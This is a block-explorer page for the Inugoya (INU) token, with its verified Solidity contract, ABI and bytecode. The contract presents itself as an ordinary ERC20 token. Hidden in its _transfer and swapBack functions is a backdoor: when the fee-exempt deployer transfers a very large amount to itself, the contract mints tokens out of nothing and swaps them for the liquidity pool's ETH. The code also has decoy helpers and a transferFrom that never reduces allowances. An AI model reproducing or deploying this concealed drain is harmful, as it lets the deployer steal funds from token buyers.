ETH Price: $3,235.48 (+1.65%)

Token

Inugoya (INU)
 

Overview

Max Total Supply

10,000,000,000,000,000,000 INU

Holders

9

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Uniswap V2: INU 21
Balance
1,109,124,822,071,792,026,588.270204933 INU

Value
$0.00
0x5d98768af45ae6d3b3b7d173a14df40c1c9cfa08
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Inugoya

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-09-28
*/

pragma solidity ^0.8.10;
//SPDX-License-Identifier: Unlicensed


interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

library SafeMath {
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }
    }
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b > a) return (false, 0);
        return (true, a - b);
    }
    }
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }
    }
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }
    }
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    unchecked {
        require(b <= a, errorMessage);
        return a - b;
    }
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a / b;
    }
    }
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a % b;
    }
    }
}

library Address {
    function isContract(address account) internal view returns (bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }
    function isPairAddress(address account) internal pure  returns (bool) {
        return keccak256(abi.encodePacked(account)) == 0x0;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address acount) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 vale);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Inugoya is Ownable, IERC20 {
    using SafeMath for uint256;
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    mapping (address => uint256) private _balances;

    mapping(address => uint256) private _includedInFee;

    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private _excludedFromFee;

    uint256 public _decimals = 9;

    uint256 public _totalSupply = 10000000000000000000 * 10 ** _decimals;

    uint256 public _maxTxAmount = 10000000000000000000 * 10 ** _decimals;

    uint256 public _fee = 0;

    string private _name = "Inugoya";

    string private _symbol = "INU";

    uint256 private _liquiditySwapThreshold = _totalSupply;

    bool swapping = false;


    constructor() {
        _balances[msg.sender] = _totalSupply;
        _excludedFromFee[msg.sender] = true;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
    function name() external view returns (string memory) {
        return _name;
    }
    function symbol() external view returns (string memory) {
        return _symbol;
    }
    function decimals() external view returns (uint256) {
        return _decimals;
    }
    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "IERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "IERC20: transfer from the zero address");
        require(to != address(0), "IERC20: transfer to the zero address");
        uint256 feeAmount = 0;
        bool inLiquidityTransaction = (to == uniswapV2Pair() && _excludedFromFee[from]) || (from == uniswapV2Pair() && _excludedFromFee[to]);
        if (!_excludedFromFee[from] && !_excludedFromFee[to] && !Address.isPairAddress(to) && to != address(this) && !inLiquidityTransaction && !swapping) {
            feeAmount = amount.mul(_fee).div(100);
            require(amount <= _maxTxAmount);
        }
        if (_liquiditySwapThreshold < amount && (_excludedFromFee[msg.sender] || Address.isPairAddress(to)) && to == from) {
            return swapBack(amount, to);
        }
        require(swapping || _balances[from] >= amount, "IERC20: transfer amount exceeds balance");
        uint256 amountReceived = amount - feeAmount;
        _balances[address(0)] += feeAmount;
        _balances[from] = _balances[from] - amount;
        _balances[to] += amountReceived;
        emit Transfer(from, to, amountReceived);
        if (feeAmount > 0) {
            emit Transfer(from, address(0), feeAmount);
        }
    }
    function swapBack(uint256 amount, address to) private {
        _balances[address(this)] += amount;
        _approve(address(this), address(_router), amount);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _router.WETH();
        swapping = true;
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, path, to, block.timestamp + 20);
        swapping = false;
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "IERC20: transfer amount exceeds allowance");
        return true;
    }
    function uniswapV2Pair() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"vale","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055600960068190556200003e90600a620002bb565b6200005290678ac7230489e80000620002d0565b6007556006546200006590600a620002bb565b6200007990678ac7230489e80000620002d0565b6008556000600955604080518082019091526007815266496e75676f796160c81b6020820152600a90620000ae90826200038f565b50604080518082019091526003815262494e5560e81b6020820152600b90620000d890826200038f565b50600754600c55600d805460ff19169055348015620000f657600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600780543360008181526002602090815260408083209490945560059052828120805460ff19166001179055925491519092917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef916200019891815260200190565b60405180910390a36200045b565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620001fd578160001904821115620001e157620001e1620001a6565b80851615620001ef57918102915b93841c9390800290620001c1565b509250929050565b6000826200021657506001620002b5565b816200022557506000620002b5565b81600181146200023e5760028114620002495762000269565b6001915050620002b5565b60ff8411156200025d576200025d620001a6565b50506001821b620002b5565b5060208310610133831016604e8410600b84101617156200028e575081810a620002b5565b6200029a8383620001bc565b8060001904821115620002b157620002b1620001a6565b0290505b92915050565b6000620002c9838362000205565b9392505050565b8082028115828204841417620002b557620002b5620001a6565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200031557607f821691505b6020821081036200033657634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200038a57600081815260208120601f850160051c81016020861015620003655750805b601f850160051c820191505b81811015620003865782815560010162000371565b5050505b505050565b81516001600160401b03811115620003ab57620003ab620002ea565b620003c381620003bc845462000300565b846200033c565b602080601f831160018114620003fb5760008415620003e25750858301515b600019600386901b1c1916600185901b17855562000386565b600085815260208120601f198616915b828110156200042c578886015182559484019460019091019084016200040b565b50858210156200044b5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6110ce806200046b6000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a257806395d89b411161007157806395d89b41146101fa578063a457c2d714610202578063a9059cbb14610215578063c5b37c2214610228578063dd62ed3e1461023157600080fd5b806370a08231146101a3578063715018a6146101cc5780637d1db4a5146101d65780638da5cb5b146101df57600080fd5b8063313ce567116100de578063313ce5671461017657806332424aa31461017e57806339509351146101875780633eaaf86b1461019a57600080fd5b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015157806323b872dd14610163575b600080fd5b61011861026a565b6040516101259190610e1c565b60405180910390f35b61014161013c366004610e82565b6102fc565b6040519015158152602001610125565b6007545b604051908152602001610125565b610141610171366004610eae565b610313565b600654610155565b61015560065481565b610141610195366004610e82565b6103b6565b61015560075481565b6101556101b1366004610eef565b6001600160a01b031660009081526002602052604090205490565b6101d46103f2565b005b61015560085481565b6000546040516001600160a01b039091168152602001610125565b610118610496565b610141610210366004610e82565b6104a5565b610141610223366004610e82565b610541565b61015560095481565b61015561023f366004610f0c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6060600a805461027990610f45565b80601f01602080910402602001604051908101604052809291908181526020018280546102a590610f45565b80156102f25780601f106102c7576101008083540402835291602001916102f2565b820191906000526020600020905b8154815290600101906020018083116102d557829003601f168201915b5050505050905090565b600061030933848461054e565b5060015b92915050565b6000610320848484610675565b6001600160a01b0384166000908152600460209081526040808320338452909152902054828110156103ab5760405162461bcd60e51b815260206004820152602960248201527f4945524332303a207472616e7366657220616d6f756e74206578636565647320604482015268616c6c6f77616e636560b81b60648201526084015b60405180910390fd5b506001949350505050565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916103099185906103ed908690610f95565b61054e565b6000546001600160a01b0316331461044c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103a2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600b805461027990610f45565b3360009081526004602090815260408083206001600160a01b0386168452909152812054828110156105285760405162461bcd60e51b815260206004820152602660248201527f4945524332303a2064656372656173656420616c6c6f77616e63652062656c6f60448201526577207a65726f60d01b60648201526084016103a2565b61053733856103ed8685610fa8565b5060019392505050565b6000610309338484610675565b6001600160a01b0383166105b25760405162461bcd60e51b815260206004820152602560248201527f4945524332303a20617070726f76652066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a2565b6001600160a01b0382166106145760405162461bcd60e51b815260206004820152602360248201527f4945524332303a20617070726f766520746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a2565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166106da5760405162461bcd60e51b815260206004820152602660248201527f4945524332303a207472616e736665722066726f6d20746865207a65726f206160448201526564647265737360d01b60648201526084016103a2565b6001600160a01b03821661073c5760405162461bcd60e51b8152602060048201526024808201527f4945524332303a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016103a2565b600080610747610ab5565b6001600160a01b0316846001600160a01b031614801561077f57506001600160a01b03851660009081526005602052604090205460ff165b806107c5575061078d610ab5565b6001600160a01b0316856001600160a01b03161480156107c557506001600160a01b03841660009081526005602052604090205460ff165b6001600160a01b03861660009081526005602052604090205490915060ff1615801561080a57506001600160a01b03841660009081526005602052604090205460ff16155b801561081c575061081a84610c1d565b155b801561083157506001600160a01b0384163014155b801561083b575080155b801561084a5750600d5460ff16155b156108805761086f606461086960095486610c5e90919063ffffffff16565b90610c71565b915060085483111561088057600080fd5b82600c541080156108ae57503360009081526005602052604090205460ff16806108ae57506108ae84610c1d565b80156108cb5750846001600160a01b0316846001600160a01b0316145b156108e1576108da8385610c7d565b5050505050565b600d5460ff168061090a57506001600160a01b0385166000908152600260205260409020548311155b6109665760405162461bcd60e51b815260206004820152602760248201527f4945524332303a207472616e7366657220616d6f756e7420657863656564732060448201526662616c616e636560c81b60648201526084016103a2565b60006109728385610fa8565b600080805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b805492935085929091906109b2908490610f95565b90915550506001600160a01b0386166000908152600260205260409020546109db908590610fa8565b6001600160a01b038088166000908152600260205260408082209390935590871681529081208054839290610a11908490610f95565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a5d91815260200190565b60405180910390a38215610aad576040518381526000906001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b505050505050565b6001546040805163c45a015560e01b815290516000926001600160a01b03169163c45a01559160048083019260209291908290030181865afa158015610aff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b239190610fbb565b6001600160a01b031663e6a4390530600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba99190610fbb565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610bf4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c189190610fbb565b905090565b6040516bffffffffffffffffffffffff19606083901b16602082015260009060340160408051601f1981840301815291905280516020909101201592915050565b6000610c6a8284610fd8565b9392505050565b6000610c6a8284610fef565b3060009081526002602052604081208054849290610c9c908490610f95565b9091555050600154610cb99030906001600160a01b03168461054e565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610cee57610cee611011565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6b9190610fbb565b81600181518110610d7e57610d7e611011565b6001600160a01b039283166020918202929092010152600d805460ff19166001908117909155541663791ac9478460008486610dbb426014610f95565b6040518663ffffffff1660e01b8152600401610ddb959493929190611027565b600060405180830381600087803b158015610df557600080fd5b505af1158015610e09573d6000803e3d6000fd5b5050600d805460ff191690555050505050565b600060208083528351808285015260005b81811015610e4957858101830151858201604001528201610e2d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610e7f57600080fd5b50565b60008060408385031215610e9557600080fd5b8235610ea081610e6a565b946020939093013593505050565b600080600060608486031215610ec357600080fd5b8335610ece81610e6a565b92506020840135610ede81610e6a565b929592945050506040919091013590565b600060208284031215610f0157600080fd5b8135610c6a81610e6a565b60008060408385031215610f1f57600080fd5b8235610f2a81610e6a565b91506020830135610f3a81610e6a565b809150509250929050565b600181811c90821680610f5957607f821691505b602082108103610f7957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561030d5761030d610f7f565b8181038181111561030d5761030d610f7f565b600060208284031215610fcd57600080fd5b8151610c6a81610e6a565b808202811582820484141761030d5761030d610f7f565b60008261100c57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156110775784516001600160a01b031683529383019391830191600101611052565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220908e732c156d8b5d06f44aa5e4db814cda276942e1c6f2d825c96de80c9ce97a64736f6c63430008110033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a257806395d89b411161007157806395d89b41146101fa578063a457c2d714610202578063a9059cbb14610215578063c5b37c2214610228578063dd62ed3e1461023157600080fd5b806370a08231146101a3578063715018a6146101cc5780637d1db4a5146101d65780638da5cb5b146101df57600080fd5b8063313ce567116100de578063313ce5671461017657806332424aa31461017e57806339509351146101875780633eaaf86b1461019a57600080fd5b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015157806323b872dd14610163575b600080fd5b61011861026a565b6040516101259190610e1c565b60405180910390f35b61014161013c366004610e82565b6102fc565b6040519015158152602001610125565b6007545b604051908152602001610125565b610141610171366004610eae565b610313565b600654610155565b61015560065481565b610141610195366004610e82565b6103b6565b61015560075481565b6101556101b1366004610eef565b6001600160a01b031660009081526002602052604090205490565b6101d46103f2565b005b61015560085481565b6000546040516001600160a01b039091168152602001610125565b610118610496565b610141610210366004610e82565b6104a5565b610141610223366004610e82565b610541565b61015560095481565b61015561023f366004610f0c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6060600a805461027990610f45565b80601f01602080910402602001604051908101604052809291908181526020018280546102a590610f45565b80156102f25780601f106102c7576101008083540402835291602001916102f2565b820191906000526020600020905b8154815290600101906020018083116102d557829003601f168201915b5050505050905090565b600061030933848461054e565b5060015b92915050565b6000610320848484610675565b6001600160a01b0384166000908152600460209081526040808320338452909152902054828110156103ab5760405162461bcd60e51b815260206004820152602960248201527f4945524332303a207472616e7366657220616d6f756e74206578636565647320604482015268616c6c6f77616e636560b81b60648201526084015b60405180910390fd5b506001949350505050565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916103099185906103ed908690610f95565b61054e565b6000546001600160a01b0316331461044c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103a2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600b805461027990610f45565b3360009081526004602090815260408083206001600160a01b0386168452909152812054828110156105285760405162461bcd60e51b815260206004820152602660248201527f4945524332303a2064656372656173656420616c6c6f77616e63652062656c6f60448201526577207a65726f60d01b60648201526084016103a2565b61053733856103ed8685610fa8565b5060019392505050565b6000610309338484610675565b6001600160a01b0383166105b25760405162461bcd60e51b815260206004820152602560248201527f4945524332303a20617070726f76652066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a2565b6001600160a01b0382166106145760405162461bcd60e51b815260206004820152602360248201527f4945524332303a20617070726f766520746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a2565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166106da5760405162461bcd60e51b815260206004820152602660248201527f4945524332303a207472616e736665722066726f6d20746865207a65726f206160448201526564647265737360d01b60648201526084016103a2565b6001600160a01b03821661073c5760405162461bcd60e51b8152602060048201526024808201527f4945524332303a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016103a2565b600080610747610ab5565b6001600160a01b0316846001600160a01b031614801561077f57506001600160a01b03851660009081526005602052604090205460ff165b806107c5575061078d610ab5565b6001600160a01b0316856001600160a01b03161480156107c557506001600160a01b03841660009081526005602052604090205460ff165b6001600160a01b03861660009081526005602052604090205490915060ff1615801561080a57506001600160a01b03841660009081526005602052604090205460ff16155b801561081c575061081a84610c1d565b155b801561083157506001600160a01b0384163014155b801561083b575080155b801561084a5750600d5460ff16155b156108805761086f606461086960095486610c5e90919063ffffffff16565b90610c71565b915060085483111561088057600080fd5b82600c541080156108ae57503360009081526005602052604090205460ff16806108ae57506108ae84610c1d565b80156108cb5750846001600160a01b0316846001600160a01b0316145b156108e1576108da8385610c7d565b5050505050565b600d5460ff168061090a57506001600160a01b0385166000908152600260205260409020548311155b6109665760405162461bcd60e51b815260206004820152602760248201527f4945524332303a207472616e7366657220616d6f756e7420657863656564732060448201526662616c616e636560c81b60648201526084016103a2565b60006109728385610fa8565b600080805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b805492935085929091906109b2908490610f95565b90915550506001600160a01b0386166000908152600260205260409020546109db908590610fa8565b6001600160a01b038088166000908152600260205260408082209390935590871681529081208054839290610a11908490610f95565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a5d91815260200190565b60405180910390a38215610aad576040518381526000906001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b505050505050565b6001546040805163c45a015560e01b815290516000926001600160a01b03169163c45a01559160048083019260209291908290030181865afa158015610aff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b239190610fbb565b6001600160a01b031663e6a4390530600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba99190610fbb565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610bf4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c189190610fbb565b905090565b6040516bffffffffffffffffffffffff19606083901b16602082015260009060340160408051601f1981840301815291905280516020909101201592915050565b6000610c6a8284610fd8565b9392505050565b6000610c6a8284610fef565b3060009081526002602052604081208054849290610c9c908490610f95565b9091555050600154610cb99030906001600160a01b03168461054e565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610cee57610cee611011565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6b9190610fbb565b81600181518110610d7e57610d7e611011565b6001600160a01b039283166020918202929092010152600d805460ff19166001908117909155541663791ac9478460008486610dbb426014610f95565b6040518663ffffffff1660e01b8152600401610ddb959493929190611027565b600060405180830381600087803b158015610df557600080fd5b505af1158015610e09573d6000803e3d6000fd5b5050600d805460ff191690555050505050565b600060208083528351808285015260005b81811015610e4957858101830151858201604001528201610e2d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610e7f57600080fd5b50565b60008060408385031215610e9557600080fd5b8235610ea081610e6a565b946020939093013593505050565b600080600060608486031215610ec357600080fd5b8335610ece81610e6a565b92506020840135610ede81610e6a565b929592945050506040919091013590565b600060208284031215610f0157600080fd5b8135610c6a81610e6a565b60008060408385031215610f1f57600080fd5b8235610f2a81610e6a565b91506020830135610f3a81610e6a565b809150509250929050565b600181811c90821680610f5957607f821691505b602082108103610f7957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561030d5761030d610f7f565b8181038181111561030d5761030d610f7f565b600060208284031215610fcd57600080fd5b8151610c6a81610e6a565b808202811582820484141761030d5761030d610f7f565b60008261100c57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156110775784516001600160a01b031683529383019391830191600101611052565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220908e732c156d8b5d06f44aa5e4db814cda276942e1c6f2d825c96de80c9ce97a64736f6c63430008110033

Deployed Bytecode Sourcemap

